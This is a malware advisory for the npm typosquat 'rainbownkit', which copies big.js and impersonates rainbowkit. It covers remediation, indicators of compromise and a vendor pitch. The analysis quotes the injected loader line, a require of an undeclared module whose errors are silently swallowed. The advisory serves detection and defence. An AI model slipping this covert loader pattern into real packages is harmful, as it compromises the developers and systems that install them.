Which versions of rainbownkit are malicious?

The following npm versions of rainbownkit are flagged malicious: 0.0.8. Treat any of these as compromised.

How do I remediate rainbownkit if I installed it?

rainbownkit is a typosquat — you almost certainly intended a legitimately-named package. Remove rainbownkit, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed rainbownkit — how do I know if it already compromised me?

If rainbownkit was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is rainbownkit part of a known attack campaign?

Yes — rainbownkit is associated with the IN-MAL-2026-007354, GHSA-vj5m-3jrw-83gx campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find rainbownkit across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for rainbownkit (version 0.0.8).

Malicious package

rainbownkitnpm

Advisory published Jun 23, 2026Updated Jul 27, 2026

rainbownkit is a confirmed malicious npm package (MAL-2026-6340) that typosquats a legitimate package to trick installs (malicious version 0.0.8). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in rainbownkit (npm)

MAL-2026-6340

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall rainbownkit

What this malware does

Package 'rainbownkit' is a single-character typosquat of the popular Web3 library 'rainbowkit'. The shipped source, README, repository URL, and author metadata are copied verbatim from the unrelated 'big.js' arbitrary-precision math library — a developer installing this expecting RainbowKit instead receives big.js with an injected covert loader. The package's main entry (big.js and big.mjs, both referenced via main and exports) contains an injected try/catch around line 606 that runs at require/import time: const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}). The 'parket-slot' module is not declared in package.json and would be pulled in transitively via the package's only declared runtime dependency 'log-taker' (^0.0.9), an undocumented niche package with no relation to the package's claimed purpose. All errors are silently swallowed, making the hidden execution invisible to the consumer. Anyone who runs require('rainbownkit') (or any code that imports it) executes whatever code the 'parket-slot' / 'log-taker' chain delivers at that moment — a classic two-hop dependency-confusion supply-chain payload combined with name impersonation of a high-traffic Web3 package.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

0.0.8

Indicators of compromise (SHA-256)

970be1fb6306ff1e8dc6119d96404f600a1eb44a47124e2910bb9237bb80fe9a

a56e231204249b84c1282943910bd97d343f2488d63a4bea2557c402a6272a12

Detection & response playbook

Typosquat

Find it
Search your lockfiles and build artifacts for rainbownkit (version 0.0.8).
If you installed it — respond
rainbownkit is a typosquat — you almost certainly intended a legitimately-named package. Remove rainbownkit, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If rainbownkit was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. rainbownkit on npm has been identified as a malicious package (version 0.0.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007354GHSA-vj5m-3jrw-83gx

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks rainbownkit-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database